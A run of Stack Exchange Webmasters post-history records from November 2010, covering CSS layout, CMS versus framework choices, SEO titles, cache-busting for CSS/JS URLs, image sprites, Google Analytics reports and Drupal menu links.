  <row Id="10052" PostHistoryTypeId="5" PostId="5066" RevisionGUID="88061499-07af-4965-8e23-97774fdf3535" CreationDate="2010-11-05T09:54:28.840" UserId="2713" Comment="added 72 characters in body; added 60 characters in body" Text="it's because the body tag has always 100% width of the window as default. In your case it means, that your #container tag has also 100% width of the body tag (the window), and so does also your #footer. The DIV #body is broader than the body, which will not grow automatically if an element is broader than itself. You can test it with Firebug.&#xD;&#xA;&#xD;&#xA;Try to give min-width: 1200px; to the body tag, and you'll be fine.&#xD;&#xA;&#xD;&#xA;Another solution would be: float:left; for the body tag.&#xD;&#xA;&#xD;&#xA;Good luck,&#xD;&#xA;&#xD;&#xA;Adam" />
  <row Id="10053" PostHistoryTypeId="2" PostId="5069" RevisionGUID="46dd0288-f28d-4629-8d96-e7e7812ab4ac" CreationDate="2010-11-05T11:08:56.383" UserId="2293" Text="Welcome to web world, dude.&#xD;&#xA;&#xD;&#xA;A website has many points to be observed. Programming, SEO, design, usability... It definetively not a simple task. Nice too see you care about future maintenance instead of just getting job done.&#xD;&#xA;&#xD;&#xA;But as any project, start it by its requirements definitions. A few questions can help you out deciding what is better.&#xD;&#xA;&#xD;&#xA; - Does this site need to sell online, implement any kind of payment/transaction, or is it just informative?&#xD;&#xA; - How often will content be changed? Once a year? Once a week? Many times a day?&#xD;&#xA;&#xD;&#xA;The answers will lead you to the best approach.&#xD;&#xA;&#xD;&#xA;CMS like Joomla and Drupal are used for content management. They make the task of input new entries and sections easier. But they are not so nice for other programming, like selling and so on. And yeah, they have plugins and addons that can power up those platforms.&#xD;&#xA;&#xD;&#xA;Frameworks, like Kohana, CodeIgniter, CakePHP, PHP on Trax, are fine for quick development (but even a simple application to insert new entries to a database will require you to do a little coding). And yeah, they are easy to extend, implement new changes, and have a lot of addons and plugins, so making a payment routine can be trivial.&#xD;&#xA;&#xD;&#xA;The other option is to code everything yourself. You can learn a lot, and despite all other powerful solution, this can be the faster way to achieve results if the requirements shows too simple. (You don't need an airplane to got to the closest groceries store, you can simply walk).&#xD;&#xA;&#xD;&#xA;Other than this will resume to texts, photos, ilustrations, typography, visual identity, visual hierarchy... And all these are not simple too. Ask your friend all the material he can provide." />
  <row Id="10054" PostHistoryTypeId="5" PostId="3963" RevisionGUID="aeb07aeb-1cf5-4404-ae9d-dadb895c936a" CreationDate="2010-11-05T11:21:38.193" UserDisplayName="Roger Pate" Comment="http://meta.askubuntu.com/q/565/1273" Text="&quot;Ubuntu&quot; is already included in every page title (&quot;Question title - Ubuntu - Stack Exchange&quot;) plus numerous times on the page.  Any search engine that can't associate Ask Ubuntu posts with Ubuntu isn't worth worrying about.&#xD;&#xA;&#xD;&#xA;Make question titles useful for *real people* first, and search engines will pick up on real people finding the site useful&amp;nbsp;—&amp;nbsp;which is the basis of Google's success.  Including &quot;for Ubuntu&quot; in every question title would get really tiring and lead to less user participation (through confusion and frustration) if enforced&amp;nbsp;—&amp;nbsp;much more disastrous than a loss in SEO, even if that exists." />
  <row Id="10055" PostHistoryTypeId="2" PostId="5070" RevisionGUID="52c4853e-c66b-4eb0-ac62-9b9d43dc2fb2" CreationDate="2010-11-05T11:32:50.257" UserId="1953" Text="If you're looking to go the ecommerce route (I see you listed products in the requirements) I'd suggest looking for an ecommerce CMS rather then Joomla or Drupal you might want to take a look at ZenCart or Magento. If neither you or your friend have any technical experience and don't really plan to learn you might want a hosted solution such as shopify.&#xD;&#xA;&#xD;&#xA;If you are interested in learning at least the basics of programming, it is fairly easy to build a web store using symfony (framework for php) and PayPal. There are lots of good places to learn programming, I recommend symfony because it does a lot of the work for you so you can still get the project done while you're learning and it has the best easy to understand step by step tutorials that I've seen.&#xD;&#xA;&#xD;&#xA;Good Luck" />
  <row Id="10056" PostHistoryTypeId="5" PostId="5067" RevisionGUID="5c8851f5-cd2d-4063-9ecb-670b7d800a54" CreationDate="2010-11-05T11:51:42.117" UserId="3036" Comment="added 103 characters in body; added 6 characters in body; added 54 characters in body" Text="Let me begin by stating that I'm not a professional web designer. I need to create a website for a small company, owned by a friend. I want to make sure that whatever I do can be extended in the future &amp; built upon when required. I'm confused whether I should start from scratch or use a framework, such as Drupal or Joomla.&#xD;&#xA;&#xD;&#xA;Any pointers?&#xD;&#xA;&#xD;&#xA;By the way, the website has the usual suspects: products, contacts, about us, etc.&#xD;&#xA;&#xD;&#xA;**Edit:** In response to Joshak's &amp; Dave's answers, there are no plans to sell directly from the website. Content changes will take place every 3 months or so." />
  <row Id="10057" PostHistoryTypeId="2" PostId="5071" RevisionGUID="aee10e3a-9dec-498e-96c2-e8991d7f0503" CreationDate="2010-11-05T11:51:46.313" UserId="2293" Text="Not sure about duplicity of a keyword weight in SEO.&#xD;&#xA;&#xD;&#xA;Order and quantity matters, but I think the right spot for this question regards about long tail, and this demands a behavioral study about search (how people do searches?).&#xD;&#xA;&#xD;&#xA;By my experience, people tends to search for keywords, and change the keywords order.&#xD;&#xA;&#xD;&#xA;From you comment on John Conde (*&quot;What native games are available? - Ubuntu - Stack Exchange&quot;*) I can foresee the following:&#xD;&#xA;&#xD;&#xA;users usually will search for&#xD;&#xA; - [native games ubuntu]&#xD;&#xA; - [ubuntu native games]&#xD;&#xA; - [ubuntu native games available]&#xD;&#xA; - [native games available ubuntu]&#xD;&#xA;&#xD;&#xA;And other variants. So, &#xD;&#xA;&#xD;&#xA;What native games are available? - Ubuntu - Stack Exchange&#xD;&#xA;or&#xD;&#xA;What native games are available on Ubuntu? - Ubuntu - Stack Exchange&#xD;&#xA;&#xD;&#xA;Will most likely match for any case of search listed above, making not at all or almost nothing difference for biggest part of searches, making no sense to duplicate. Only a really few users will search for:&#xD;&#xA;&#xD;&#xA; - [native games available **on** Ubuntu]&#xD;&#xA; - [what native games are available **on** Ubuntu]&#xD;&#xA; - [native games **on** ubuntu]&#xD;&#xA;&#xD;&#xA;These cases are the long tail where changing titles can probably make a difference. Also, consider users would also search for:&#xD;&#xA;&#xD;&#xA; - [list of games ubuntu]&#xD;&#xA; - [default games ubuntu]&#xD;&#xA; - [fresh installation ubuntu games]&#xD;&#xA;&#xD;&#xA;And a lot of options that will not perform a really good match. Also note that these not so good matches list is much more frequent (more users performs them) than long tail ones.&#xD;&#xA;&#xD;&#xA;**Closing thoughts**&#xD;&#xA;I don't see a point to duplicate the keyword in title for this case considering users behavior and long tail." />
  <row Id="10064" PostHistoryTypeId="2" PostId="5072" RevisionGUID="c02a4748-2242-441b-a467-f0ae746c2e8f" CreationDate="2010-11-05T12:31:32.427" UserId="3042" Text="I am looking for a place i can buy web 2.0 (cartooney mac-like) vector graphics for use on my sites..&#xD;&#xA;&#xD;&#xA;Wheres the best place to go?&#xD;&#xA;&#xD;&#xA;Thanks&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Daniel" />
  <row Id="10065" PostHistoryTypeId="1" PostId="5072" RevisionGUID="c02a4748-2242-441b-a467-f0ae746c2e8f" CreationDate="2010-11-05T12:31:32.427" UserId="3042" Text="Where can i get high quality vector graphics for web design?" />
  <row Id="10066" PostHistoryTypeId="3" PostId="5072" RevisionGUID="c02a4748-2242-441b-a467-f0ae746c2e8f" CreationDate="2010-11-05T12:31:32.427" UserId="3042" Text="&lt;web-development&gt;&lt;website-design&gt;&lt;images&gt;&lt;graphics&gt;" />
  <row Id="10067" PostHistoryTypeId="2" PostId="5073" RevisionGUID="f99edb1a-349c-403b-837e-043b9fecb184" CreationDate="2010-11-05T12:33:24.983" UserId="711" Text="Google does not use language meta-data since we've found that it's generally incorrect. Using HTTP headers, HTML meta tags or element-level lang-attributes does not have an impact on Google's language recognition, so unless you want to do that for other purposes (eg screen-readers), you can probably skip on that.&#xD;&#xA;&#xD;&#xA;One thing to keep in mind is that Google has no problem recognizing multiple languages per page. So even if we should recognize that a part of the page is say in Italian (perhaps when you write about Italian hotels), and we show a &quot;translate this page&quot; link in the search results, we'll probably still be able to recognize that it's mostly in English. A simple way to check that is to use the advanced search options to select a specific language and do a site:-query for your site. " />
  <row Id="10068" PostHistoryTypeId="2" PostId="5074" RevisionGUID="0053f693-806e-4579-a8d9-110b95447a1b" CreationDate="2010-11-05T12:56:07.887" UserId="2288" Text="**Requirements:**&#xD;&#xA;&#xD;&#xA;  - Headlines also go to an RSS feed on the home page&#xD;&#xA;  - Needs to be a link below the listing to &quot;View More News&quot; (meaning it goes to the news section) " />
  <row Id="10069" PostHistoryTypeId="1" PostId="5074" RevisionGUID="0053f693-806e-4579-a8d9-110b95447a1b" CreationDate="2010-11-05T12:56:07.887" UserId="2288" Text="In Drupal, how do auto-list headlines from a news section on the homepage?" />
  <row Id="10070" PostHistoryTypeId="3" PostId="5074" RevisionGUID="0053f693-806e-4579-a8d9-110b95447a1b" CreationDate="2010-11-05T12:56:07.887" UserId="2288" Text="&lt;drupal&gt;" />
  <row Id="10071" PostHistoryTypeId="2" PostId="5075" RevisionGUID="76661cc4-e347-4afb-b81c-397ec523d2bd" CreationDate="2010-11-05T13:31:51.937" UserId="3043" Text="As per Yahoo's much-ballyhooed [Best Practices for Speeding Up Your Site][1], we serve up static content from a CDN using far-future cache expiration headers. Of course, we need to occasionally update these &quot;static&quot; files, so we currently add an infix version as part of the filename (based on the SHA1 sum of the file contents). Thus:&#xD;&#xA;&#xD;&#xA;    styles.min.css&#xD;&#xA;&#xD;&#xA;Becomes:&#xD;&#xA;&#xD;&#xA;    styles.min.abcd1234.css&#xD;&#xA;&#xD;&#xA;However, managing the versioned files can become tedious, and I was wondering if a GET argument notation might be cleaner and better:&#xD;&#xA;&#xD;&#xA;    styles.min.css?v=abcd1234&#xD;&#xA;&#xD;&#xA;Which do you use, and why? Are there browser- or proxy/cache-related considerations that I should consider?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://developer.yahoo.com/performance/rules.html#expires" />
  <row Id="10072" PostHistoryTypeId="1" PostId="5075" RevisionGUID="76661cc4-e347-4afb-b81c-397ec523d2bd" CreationDate="2010-11-05T13:31:51.937" UserId="3043" Text="What's the best way to version CSS and JS URLs?" />
  <row Id="10073" PostHistoryTypeId="3" PostId="5075" RevisionGUID="76661cc4-e347-4afb-b81c-397ec523d2bd" CreationDate="2010-11-05T13:31:51.937" UserId="3043" Text="&lt;static-content&gt;&lt;cache-control&gt;" />
  <row Id="10074" PostHistoryTypeId="2" PostId="5076" RevisionGUID="03eba72d-c538-4e8e-b585-bc47eec96d7a" CreationDate="2010-11-05T13:32:53.270" UserId="1757" Text="I don't know how much programming experience you have, but if it's not significant (e.g. if you're not completely confident in how well your code will hold up to the scrutiny of other developers in a team development setting), then you should seriously consider using a CMS, framework, or CMS-framework.&#xD;&#xA;&#xD;&#xA;Yes, you can learn a lot of the nitty-gritty stuff better by developing a site from scratch, but this isn't just a practice project for you; this is your friend's business site, so you have a responsibility to give priority to his needs, not yours. And using a CMS/framework will allow you to, not only get the site up faster, but:&#xD;&#xA;&#xD;&#xA; - ensure that the codebase is up to professional standards&#xD;&#xA; - ensure that the codebase is stable and secure&#xD;&#xA; - ensure that the code is modularized and easily extensible&#xD;&#xA; - ensure that other best-practices are adhered to, making the code more maintainable&#xD;&#xA;&#xD;&#xA;Now, if you're using a framework, then you probably do need to write a little controller code yourself even for a basic site. However, the framework documentation will lay out how to write this code for a standard CRUD site, which ought to be pretty straightforward. In addition to providing standard solutions to common problems, with frameworks like CakePHP, official conventions force you to adhere to best-practices. It's still possible to write spaghetti code no matter what framework you use, but the chances of it happening are greatly decreases.&#xD;&#xA;&#xD;&#xA;The fact of the matter is, it takes time to learn how to create a professional website, and you'd be hard-pressed to learn everything in a single project (and complete it within a reasonable amount of time). A CMS/framework provides a shortcut, and by looking at the code and conventions of professional CMSes and frameworks, you can also pick up a lot of knowledge that would probably take you years to figure out on your own." />
  <row Id="10075" PostHistoryTypeId="2" PostId="5077" RevisionGUID="43bf8e57-f202-4d3d-82fd-abc3e2247613" CreationDate="2010-11-05T13:36:16.957" UserId="1253" Text="Both will work equally well as a query string is considered part of the URL and by changing it you are in effect changing the name of the resource thus causing the browser to fetch a new copy of the file. &#xD;&#xA;&#xD;&#xA;I say use whichever method is easier for you to maintain." />
  <row Id="10076" PostHistoryTypeId="2" PostId="5078" RevisionGUID="caca0f42-c523-402d-a4a3-a1b11f65a12d" CreationDate="2010-11-05T13:48:31.473" UserId="2293" Text="If you intend to really buy them, I recommend searching for online stock vectors shops, like:&#xD;&#xA;&#xD;&#xA; - [www.myvectorstore.com][1]&#xD;&#xA; - [www.istockphoto.com][2]&#xD;&#xA; - [www.shutterstock.com][3]&#xD;&#xA; - [vectorstock.com][4]&#xD;&#xA; - [www.stockillustrations.com][5]&#xD;&#xA; - [veer.com][6]&#xD;&#xA; - [www.stockillustration.com][7]&#xD;&#xA; - [www.stockart.com][8]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.myvectorstore.com&#xD;&#xA;  [2]: http://www.istockphoto.com&#xD;&#xA;  [3]: http://www.shutterstock.com&#xD;&#xA;  [4]: http://vectorstock.com&#xD;&#xA;  [5]: http://www.stockillustrations.com&#xD;&#xA;  [6]: http://veer.com&#xD;&#xA;  [7]: http://www.stockillustration.com&#xD;&#xA;  [8]: http://www.stockart.com" />
  <row Id="10077" PostHistoryTypeId="2" PostId="5079" RevisionGUID="5d1f20c0-756f-4e5e-be2d-448c81b5e5cd" CreationDate="2010-11-05T14:00:27.807" UserId="3044" Text="I am a php developer using mostly CakePHP, magento, and wordpress. I want to create a community driven website aimed at the volunteering community that will let users sign up, create profiles, add previous voluntary positions, let organisations sign up and post jobs, etc. Is this something that drupal can handle? Is this what drupal was built to do? &#xD;&#xA;&#xD;&#xA;I'm just wondering how drupal deals with custom methods. Say I wanted to have a user request a reference from someone, I'd have to write methods that did this. Would that be possible in drupal?&#xD;&#xA;&#xD;&#xA;I'd love to hear from anyone doing something similar!&#xD;&#xA;&#xD;&#xA;Thanks,&#xD;&#xA;&#xD;&#xA;Jonesy" />
  <row Id="10078" PostHistoryTypeId="1" PostId="5079" RevisionGUID="5d1f20c0-756f-4e5e-be2d-448c81b5e5cd" CreationDate="2010-11-05T14:00:27.807" UserId="3044" Text="Can drupal do this?" />
  <row Id="10079" PostHistoryTypeId="3" PostId="5079" RevisionGUID="5d1f20c0-756f-4e5e-be2d-448c81b5e5cd" CreationDate="2010-11-05T14:00:27.807" UserId="3044" Text="&lt;drupal&gt;&lt;websites&gt;&lt;community&gt;" />
  <row Id="10080" PostHistoryTypeId="5" PostId="5076" RevisionGUID="6dfafd55-1714-49f7-9979-f8985441f604" CreationDate="2010-11-05T14:01:40.237" UserId="1757" Comment="expand" Text="I don't know how much programming experience you have, but if it's not significant (e.g. if you're not completely confident in how well your code will hold up to the scrutiny of other developers in a team development setting), then you should seriously consider using a CMS, framework, or CMS-framework.&#xD;&#xA;&#xD;&#xA;Yes, you can learn a lot of the nitty-gritty stuff better by developing a site from scratch, but this isn't just a practice project for you; this is your friend's business site, so you have a responsibility to give priority to his needs, not yours. And using a CMS/framework will allow you to, not only get the site up faster, but:&#xD;&#xA;&#xD;&#xA; - ensure that the codebase is up to professional standards&#xD;&#xA; - ensure that the codebase is stable and secure&#xD;&#xA; - ensure that the code is modularized and easily extensible&#xD;&#xA; - ensure that other best-practices are adhered to, making the code more maintainable&#xD;&#xA;&#xD;&#xA;Now, if you're using a framework, then you probably do need to write a little controller code yourself even for a basic site. However, the framework documentation will lay out how to write this code for a standard CRUD site, which ought to be pretty straightforward. In addition to providing standard solutions to common problems, with frameworks like CakePHP, official conventions force you to adhere to best-practices. It's still possible to write spaghetti code no matter what framework you use, but the chances of it happening are greatly decreases.&#xD;&#xA;&#xD;&#xA;The fact of the matter is, it takes time to learn how to create a professional website, and you'd be hard-pressed to learn everything in a single project (and complete it within a reasonable amount of time). A CMS/framework provides a shortcut, and by looking at the code and conventions of professional CMSes and frameworks, you can also pick up a lot of knowledge that would probably take you years to figure out on your own.&#xD;&#xA;&#xD;&#xA;**Edit:**&lt;br/&gt;&#xD;&#xA;Even though most developers don't like to admit it, most websites are more similar than they're different (in purpose &amp; requirements), so you can usually find existing (open source) solutions for most types of projects that are far superior to anything a single developer could write on his own in a reasonable amount of time.&#xD;&#xA;&#xD;&#xA;So from that perspective, you'd just be re-inventing the wheel by creating another CMS for a brochure site/blog/e-commerce store/etc. Therefore, it'd be far better to choose a mature open source CMS you can customize/extend and benefit from the millions of man-hours others already put into its design/coding/testing/refactoring/patching/etc. This way, you only need to focus on creating solutions to the problems unique to *your project* rather than solving problems that have already been solved a million times before.&#xD;&#xA;&#xD;&#xA;I mean, it's unlikely that a single developer will be able to write a rich AJAX interface (that degrades gracefully and is cross-browser compatible) matching that of Magento or Wordpress in less than a couple of months, not to mention all the other features standard in popular CMSes (automatic pingback, spellcheck, slug generation, routing engine, tagging, plugin capabilities, feed generation, localization support, data sanitization, file uploading, WYSIWYG editor, user management, microformat support, comment system, etc.). So trying to create a CMS on your own would both cost more time and result in a less robust product for your friend." />
  <row Id="10081" PostHistoryTypeId="5" PostId="5076" RevisionGUID="1389463d-9953-4805-b9db-8a191b5b0e6e" CreationDate="2010-11-05T14:12:06.787" UserId="1757" Comment="typos; added 6 characters in body" Text="I don't know how much programming experience you have, but if it's not significant (e.g. if you're not completely confident in how well your code will hold up to the scrutiny of other developers in a team development setting), then you should seriously consider using a CMS, framework, or CMS-framework.&#xD;&#xA;&#xD;&#xA;Yes, you can learn a lot of the nitty-gritty stuff better by developing a site from scratch, but this isn't just a practice project for you; this is your friend's business site, so you have a responsibility to give priority to his needs, not yours. And using a CMS/framework will allow you to, not only get the site up faster, but:&#xD;&#xA;&#xD;&#xA; - ensure that the codebase is up to professional standards&#xD;&#xA; - ensure that the codebase is stable and secure&#xD;&#xA; - ensure that the code is modularized and easily extensible&#xD;&#xA; - ensure that other best-practices are adhered to, making the code more maintainable&#xD;&#xA;&#xD;&#xA;Now, if you're using a framework, then you probably do need to write a little controller code yourself even for a basic site. However, the framework documentation will lay out how to write this code for a standard CRUD site, which ought to be pretty straightforward. In addition to providing standard solutions to common problems, with frameworks like CakePHP, official conventions force you to adhere to best practices. It's still possible to write spaghetti code no matter what framework you use, but the chances of it happening are greatly reduced.&#xD;&#xA;&#xD;&#xA;The fact of the matter is, it takes time to learn how to create a professional website, and you'd be hard-pressed to learn everything in a single project (and complete it within a reasonable amount of time). A CMS/framework provides a shortcut, and by looking at the code and conventions of professional CMSes and frameworks, you can also pick up a lot of knowledge that would probably take you years to figure out on your own.&#xD;&#xA;&#xD;&#xA;**Edit:**&lt;br/&gt;&#xD;&#xA;Also, even though most developers don't like to admit it, most websites are more similar than they're different (in purpose &amp; requirements), so you can usually find existing (open source) solutions for most types of projects that are far superior to anything a single developer could write on his own in a reasonable amount of time.&#xD;&#xA;&#xD;&#xA;So from that perspective, you'd just be re-inventing the wheel by creating another CMS for a brochure site/blog/e-commerce store/etc. Therefore, it'd be far better to choose a mature open source CMS you can customize/extend and benefit from the millions of man-hours others already put into its design/coding/testing/refactoring/patching/etc. This way, you only need to focus on creating solutions to the problems unique to *your project* rather than solving problems that have already been solved a million times before.&#xD;&#xA;&#xD;&#xA;I mean, it's unlikely that a single developer will be able to write a rich AJAX interface (that degrades gracefully and is cross-browser compatible) matching that of Magento or Wordpress in less than a couple of months, not to mention all the other features standard in popular CMSes (automatic pingback, spellcheck, slug generation, routing engine, tagging, plugin capabilities, feed generation, localization support, data sanitization, file uploading, WYSIWYG editor, user management, microformat support, comment system, etc.). So trying to create a CMS on your own would both cost more time and result in a less robust product for your friend." />
  <row Id="10082" PostHistoryTypeId="2" PostId="5080" RevisionGUID="5f10dedc-b2aa-483d-be4b-340310143a09" CreationDate="2010-11-05T14:41:48.553" UserId="2713" Text="if you fire that analytics event, I would make it sure, that it gets fired at most once per visit. This way, you have the number of total visits and how many times the event occured. This brings you hopefully further, because you will see, how often your feature is used compared to the total number of visits.&#xD;&#xA;&#xD;&#xA;To make sure, that your event will fire only once, you have to remove the event handler in the handling function itself.&#xD;&#xA;&#xD;&#xA;Best wishes,&#xD;&#xA;&#xD;&#xA;Adam" />
  <row Id="10083" PostHistoryTypeId="2" PostId="5081" RevisionGUID="6188d0cf-4fb1-4258-bd36-35e0ec76b201" CreationDate="2010-11-05T14:43:45.450" UserDisplayName="Tesla Honneger" Text="Do you we need any special authorization do be allowed to host porn* website?&#xD;&#xA;&#xD;&#xA;*Hardore&#xD;&#xA;&#xD;&#xA;Thank you in advance for you help!&#xD;&#xA;&#xD;&#xA;" />
  <row Id="10084" PostHistoryTypeId="1" PostId="5081" RevisionGUID="6188d0cf-4fb1-4258-bd36-35e0ec76b201" CreationDate="2010-11-05T14:43:45.450" UserDisplayName="Tesla Honneger" Text="Do you we need any special authorization do be allowed to host porn website?" />
  <row Id="10085" PostHistoryTypeId="3" PostId="5081" RevisionGUID="6188d0cf-4fb1-4258-bd36-35e0ec76b201" CreationDate="2010-11-05T14:43:45.450" UserDisplayName="Tesla Honneger" Text="&lt;web-development&gt;&lt;web-applications&gt;&lt;web&gt;&lt;server&gt;&lt;law&gt;" />
  <row Id="10086" PostHistoryTypeId="17" PostId="5081" RevisionGUID="8bb56f25-2c0b-46c2-9cea-82f5aa98599f" CreationDate="2010-11-05T14:46:59.747" UserId="-1" Comment="from http://stackoverflow.com/questions/4106942/do-you-we-need-any-special-authorization-do-be-allowed-to-host-porn-website" Text="" />
  <row Id="10087" PostHistoryTypeId="2" PostId="5082" RevisionGUID="725548e0-2db5-4094-ae67-ec35fcf21b7d" CreationDate="2010-11-05T14:50:55.910" UserId="253" Text="Combining multiple images into a single image is a good way to improve performance by reducing the number of http requests. But how do most webmasters manage their combined images?&#xD;&#xA;&#xD;&#xA;Is there any software available that makes combining images into a single image easier? It would be nice to throw the software a set of images and have it combine them and then report on the X,Y,width,height offsets within the image.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="10088" PostHistoryTypeId="1" PostId="5082" RevisionGUID="725548e0-2db5-4094-ae67-ec35fcf21b7d" CreationDate="2010-11-05T14:50:55.910" UserId="253" Text="Software to combine multiple images" />
  <row Id="10089" PostHistoryTypeId="3" PostId="5082" RevisionGUID="725548e0-2db5-4094-ae67-ec35fcf21b7d" CreationDate="2010-11-05T14:50:55.910" UserId="253" Text="&lt;images&gt;&lt;optimization&gt;" />
  <row Id="10090" PostHistoryTypeId="2" PostId="5083" RevisionGUID="1474d07d-deb9-4912-9fc9-217d667c703c" CreationDate="2010-11-05T14:52:57.927" UserId="1253" Text="[There's quite a few few ones available online][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/search?sourceid=chrome&amp;ie=UTF-8&amp;q=online+sprite+generator" />
  <row Id="10091" PostHistoryTypeId="6" PostId="5081" RevisionGUID="89911b64-ba14-4f56-95f2-bf87794a68c6" CreationDate="2010-11-05T14:54:31.227" UserId="1253" Comment="edited tags" Text="&lt;web-hosting&gt;&lt;law&gt;&lt;adult-content&gt;" />
  <row Id="10092" PostHistoryTypeId="5" PostId="5083" RevisionGUID="af7555be-adbb-4a88-b707-2a4a14478f65" CreationDate="2010-11-05T15:13:18.427" UserId="1253" Comment="added 1 characters in body; added 33 characters in body" Text="FYI, they're called sprites and [there's quite a few free ones available online][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/search?sourceid=chrome&amp;ie=UTF-8&amp;q=online+sprite+generator" />
  <row Id="10093" PostHistoryTypeId="2" PostId="5084" RevisionGUID="e92809d5-c57b-42d0-aadb-2d22823026e1" CreationDate="2010-11-05T15:27:23.650" UserId="2293" Text="Well, I use a [GIMP][1] script for taking care of that.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.gimp.org/" />
  <row Id="10094" PostHistoryTypeId="2" PostId="5085" RevisionGUID="7ed6ad67-c68f-46a1-87fa-a9f13f23cb71" CreationDate="2010-11-05T16:37:48.263" UserId="233" Text="[ImageMagick][1] is a great image processing tool that can do this. It's command line only so isn't the easiest to use for non-programmers. For stitching images together, use the montage command:&#xD;&#xA;&#xD;&#xA;    montage -geometry +4+4 *.png&#xD;&#xA;&#xD;&#xA;This won't generate the CSS for you, but unless you have more than 30 images that shouldn't be a problem.&#xD;&#xA;&#xD;&#xA;There are many online tools that can do the CSS too, with class names based on the filenames. [This one][2] is very good.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.imagemagick.org&#xD;&#xA;  [2]: http://spritegen.website-performance.org/" />
  <row Id="10095" PostHistoryTypeId="2" PostId="5086" RevisionGUID="77f27031-4175-43ff-be85-586bd555cfc8" CreationDate="2010-11-05T16:40:49.330" UserId="2288" Text="Looking for a sample report (or process even better a process for generating a report) that would cover the most important SEO factors of a small business &quot;brochureware&quot; site. Your answer does not have to be a link to a report, it just needs to as completely as possible answer the question." />
  <row Id="10096" PostHistoryTypeId="1" PostId="5086" RevisionGUID="77f27031-4175-43ff-be85-586bd555cfc8" CreationDate="2010-11-05T16:40:49.330" UserId="2288" Text="Online sample SEO report?" />
  <row Id="10097" PostHistoryTypeId="3" PostId="5086" RevisionGUID="77f27031-4175-43ff-be85-586bd555cfc8" CreationDate="2010-11-05T16:40:49.330" UserId="2288" Text="&lt;seo&gt;" />
  <row Id="10098" PostHistoryTypeId="5" PostId="4996" RevisionGUID="39ff5df2-8ece-4c6d-bea6-bcd2b456bc97" CreationDate="2010-11-05T16:44:11.510" UserId="2288" Comment="deleted 316 characters in body; deleted 324 characters in body" Text="What I'm looking for: Super simply, basic intro to using Google Analytics target to non-technical end users.&#xD;&#xA;" />
  <row Id="10100" PostHistoryTypeId="2" PostId="5087" RevisionGUID="0722721f-21d7-440c-afe9-8c73eaa8893e" CreationDate="2010-11-05T16:57:11.383" UserId="3049" Text="How can I view traffic from specific country day by day ? I mean I would like to get report of US traffic from specific time frame by day. e.g US traffic starting from 1st October 2010 to 31th October 2010 day by day.&#xD;&#xA;&#xD;&#xA;Is this possible in google analytics ? and if so... how ?" />
  <row Id="10101" PostHistoryTypeId="1" PostId="5087" RevisionGUID="0722721f-21d7-440c-afe9-8c73eaa8893e" CreationDate="2010-11-05T16:57:11.383" UserId="3049" Text="US traffic by day in Google Analytics. Is it possible and how ?" />
  <row Id="10102" PostHistoryTypeId="3" PostId="5087" RevisionGUID="0722721f-21d7-440c-afe9-8c73eaa8893e" CreationDate="2010-11-05T16:57:11.383" UserId="3049" Text="&lt;google-analytics&gt;" />
  <row Id="10103" PostHistoryTypeId="2" PostId="5088" RevisionGUID="96fa146a-c1a1-475c-bf90-b64ee6269054" CreationDate="2010-11-05T17:47:34.007" UserId="2209" Text="Yes. Under the map overlay section click view report, after the new page loads, select United States from the list, if available. The from the date field in the upper right corner select the dates you want.&#xD;&#xA;" />
  <row Id="10104" PostHistoryTypeId="2" PostId="5089" RevisionGUID="55c9ba0d-d347-4ecd-a990-28af464b4538" CreationDate="2010-11-05T17:56:40.190" UserDisplayName="Techiegirl" Text="There is an option for Creating Custom Reports in Google Analytics which will help you with creating custom reports. You may require to use Pageviews, unique visitors as metrices &amp; Continent,monthly, hour of the day respectively as dimensions and subdimensions to create your required report. " />
  <row Id="10105" PostHistoryTypeId="2" PostId="5090" RevisionGUID="b99dc4f6-b116-4c5d-b782-c62e9c05b388" CreationDate="2010-11-05T18:03:30.777" UserId="233" Text="Using the GET-style versioning, from a blank cache multiple URLs - e.g. `style.css?v=123` and `style.css?v=456` - would return the same content. However I can't see this would be problematic, especially since you'd only link to one at a time.&#xD;&#xA;&#xD;&#xA;I think you'll find the GET-style much easier to maintain. You don't need separate files: just change the URL and browsers will fetch the CSS afresh." />
  <row Id="10106" PostHistoryTypeId="5" PostId="5090" RevisionGUID="6055f9aa-9c89-4c61-9de6-78ca67c5198e" CreationDate="2010-11-05T18:09:43.410" UserId="233" Comment="added 276 characters in body" Text="Using the GET-style versioning, from a blank cache multiple URLs - e.g. `style.css?v=123` and `style.css?v=456` - would return the same content. However I can't see this would be problematic, especially since you'd only link to one at a time.&#xD;&#xA;&#xD;&#xA;I think you'll find the GET-style much easier to maintain. You don't need separate files: just change the URL and browsers will fetch the CSS afresh.&#xD;&#xA;&#xD;&#xA;UPDATE: on further research it appears that using a query string [may stop browsers caching][1] the files. However, if you are returning proper headers such as `Expires` this is not an issue.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://derekville.net/2009/auto-versioning-javascript-and-css-files/" />
  <row Id="10107" PostHistoryTypeId="2" PostId="5091" RevisionGUID="daa4fa3f-7f09-4143-b058-8ec7dbd02f37" CreationDate="2010-11-05T18:10:12.433" UserId="2288" Text="Trying to create folders for links where the parent has no content, it's just a folder. Need to be able to insert #, but Drupal is saying it's not a link. Just want the user to click it and nothing happen, the child of that menu item will already be being displayed without a click.&#xD;&#xA;&#xD;&#xA;**I've attempted the following:** `'', null, #, &lt;empty&gt;, &lt;null&gt;, &lt;blank&gt;, &lt;answer&gt;` **...just kidding.**&#xD;&#xA;&#xD;&#xA;ERROR: The path '&lt;insert_non-url&gt;' is either invalid or you do not have access to it.&#xD;&#xA;&#xD;&#xA;Question, just ask -- thanks!" />
  <row Id="10108" PostHistoryTypeId="1" PostId="5091" RevisionGUID="daa4fa3f-7f09-4143-b058-8ec7dbd02f37" CreationDate="2010-11-05T18:10:12.433" UserId="2288" Text="How do you create links with a NULL or # in Drupal?" />
  <row Id="10109" PostHistoryTypeId="3" PostId="5091" RevisionGUID="daa4fa3f-7f09-4143-b058-8ec7dbd02f37" CreationDate="2010-11-05T18:10:12.433" UserId="2288" Text="&lt;drupal&gt;" />
